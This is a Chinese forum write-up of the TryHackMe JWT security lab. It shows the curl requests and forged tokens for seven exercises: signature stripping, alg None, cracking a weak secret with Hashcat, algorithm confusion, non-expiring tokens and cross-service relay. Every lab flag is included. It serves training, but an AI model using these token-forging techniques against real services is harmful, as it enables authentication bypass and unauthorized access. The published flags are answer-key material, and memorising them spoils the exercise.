九天猎人 发表于 2025-3-5 00:44:21

TryHackMe---JWT安全---WP

由于做到这个JWT的时间踩了一些坑,google没有搜到别人写的WP,于是自己写的记载一下解题过程

实例1---任务4---敏感信息

1.获取Token

根据给出的cURL请求,去举行验证获取Token
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password1" }' http://10.10.20.1/api/v1.0/example1 https://i-blog.csdnimg.cn/direct/8ab86e1b0e0248aeb5b013a6a0c4808a.png
把得到的token复制去在线网站上面解码看一下信息
https://i-blog.csdnimg.cn/direct/ae4a3efd9b634cc3b3a107bfc67e2b47.png
2.实例1的flag

实例1的flag为:
   THM{9cc039cc-d85f-45d1-ac3b-818c8383a560}
实例2---任务5---不签名验证

1.获取Token

还是一样的,先使用cURL获取Token
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.20.1/api/v1.0/example2 https://i-blog.csdnimg.cn/direct/f702be7f60e34e53bad0143f1336416d.png
解密出来的信息为
https://i-blog.csdnimg.cn/direct/9c0f91eab1e646b89859f3740b81e14e.png
2.伪造新Token

把第二部分中admin背面的0改成1,重新编码,删掉第三部分(只生存点)即可,然后把编码后的Token添加到请求中,去举行请求
curl -H 'Authorization: Bearer ' http://10.10.20.1/api/v1.0/example2?username=user


JWT Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.


正确的请求为:curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.' http://10.10.20.1/api/v1.0/example2?username=user 提示:提出请求无效,把用户改成admin,重新举行请求,即可获得flag。
https://i-blog.csdnimg.cn/direct/4e73f41ecb32426494c9350379792388.png
3.实例2的flag

实例2的flag为:
   THM{6e32dca9-0d10-4156-a2d9-5e5c7000648a}
实例3---任务5---None签名

1.获取Token

cURL为
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }' http://10.10.20.1/api/v1.0/example3 https://i-blog.csdnimg.cn/direct/6d3b5c40413a4ac79290c2fbb4ca8177.png
2.伪造新Token

把解码后的Token重新编辑然后请求,由于在线网站无法编辑None签名,所以必要分段使用base64来举行编辑天生新的Token,在线base64网站
Token为:
   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8
https://i-blog.csdnimg.cn/direct/9157e2a9d9b74fbb8e4046ef9af227cf.png
第一部分,解码为
   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
https://i-blog.csdnimg.cn/direct/deae4986da364ba198e9d0c2412bff7a.png
把alg内里的HS256改成None,然后重新举行编码,得到的第一部分为
   eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=
把第二部分中的admin的0改成1重新编码得到
   eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=
https://i-blog.csdnimg.cn/direct/a11440b0cf0a4120b7cc14add6e61a7e.png
把新编码的组合起来,便得到了新的Token为
   eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8
3.实例3的flag

使用新的Token去举行请求得到flag
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8' http://10.10.20.1/api/v1.0/example3?username=admin https://i-blog.csdnimg.cn/direct/b02c5605709845118f34402782f2609c.png
得到的flag为:
   THM{fb9341e4-5823-475f-ae50-4f9a1a4489ba}
实例4---任务5---弱对称的密钥

1.获取Token

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password4" }' http://10.10.20.1/api/v1.0/example4 https://i-blog.csdnimg.cn/direct/b97ec346abb54d8da0f5627fd67c053c.png
把Token的值生存到jwt.txt文本中,下载通用的密钥字典,然后使用Hashcat举行破解。
https://i-blog.csdnimg.cn/direct/cdf01f262660459c88c6e4b7c2b10a8e.png
2.伪造新Token

密钥值为secret,然后伪造一个新的Token来获取flag。
   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc
https://i-blog.csdnimg.cn/direct/0949649a0f804b78b35c19a1a647f462.png
3.实例4的flag

获取Flag
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.gpHtgNe4OSgiQHuf8W7JFfSNTi9tEnDKvK7QAk2DFBc' http://10.10.20.1/api/v1.0/example4?username=admin https://i-blog.csdnimg.cn/direct/1e8326333ee24deb90f737c877ec7319.png
flag为
   THM{e1679fef-df56-41cc-85e9-af1e0e12981b}
实例5---任务5---签名算法杂乱

1.获取Token

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password5" }' http://10.10.20.1/api/v1.0/example5 https://i-blog.csdnimg.cn/direct/8b9cb4595977496fb02d0e54b8b5558d.png
2.伪造新Token

根据提供的脚本,把公钥值添加进去,把admin背面的0改成1
https://i-blog.csdnimg.cn/direct/e000d5c868ee461e9c604b943abfde8b.png
注释掉/usr/lib/python3/dist-packages/jwt/algorithms.py文件的143-146行,生存退出
https://i-blog.csdnimg.cn/direct/d12731903b5f4c50a2ca821ffb908af3.png
运行脚本,得到一个新Token,
https://i-blog.csdnimg.cn/direct/448af37c722549deae568db036f80cda.png
   eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU
3.实例5的flag

获取flag
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU' http://10.10.20.1/api/v1.0/example5?username=admin https://i-blog.csdnimg.cn/direct/c0c61df7081b4a20a81d50cfb4bdad27.png
flag为
   THM{f592dfe2-ec65-4514-a135-70ba358f22c4}
实例6---任务6---令牌不逾期

根据Token获得flag
curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.ko7EQiATQQzrQPwRO8ZTY37pQWGLPZWEvdWH0tVDNPU' http://10.10.20.1/api/v1.0/example6?username=admin https://i-blog.csdnimg.cn/direct/bd2c96b027a044e6b785899ccc3c4063.png
实例6flag
   THM{a450ae48-7226-4633-a63d-38a625368669}
实例7---任务7---跨服务中继攻击

1.获取Token

curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appA"}' http://10.10.202.112/api/v1.0/example7
https://i-blog.csdnimg.cn/direct/912c53d0c1c34e90afdd6fc44ea3f8c2.png
JWT在线网站上查看解码信息
https://i-blog.csdnimg.cn/direct/202a83dc9e544d2eb5179d2760eda357.png

不为管理员
使用B的身份来获取Token
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password7", "application" : "appB"}' http://10.10.202.112/api/v1.0/example7 https://i-blog.csdnimg.cn/direct/2bfb797b0f13412abf7ec0cf4c8e26ad.png
https://i-blog.csdnimg.cn/direct/59e525211ae848c6ba36f03a5b38cf1b.png
是管理员
2.伪造Token

根据B获取到的Token,有管理员权限去访问A的URL,获得flag。
curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.202.112/api/v1.0/example7_appA?username=admin https://i-blog.csdnimg.cn/direct/757d8cd3b24e4c3a8df0658b6722b935.png
3.实例7的flag

   THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: TryHackMe---JWT安全---WP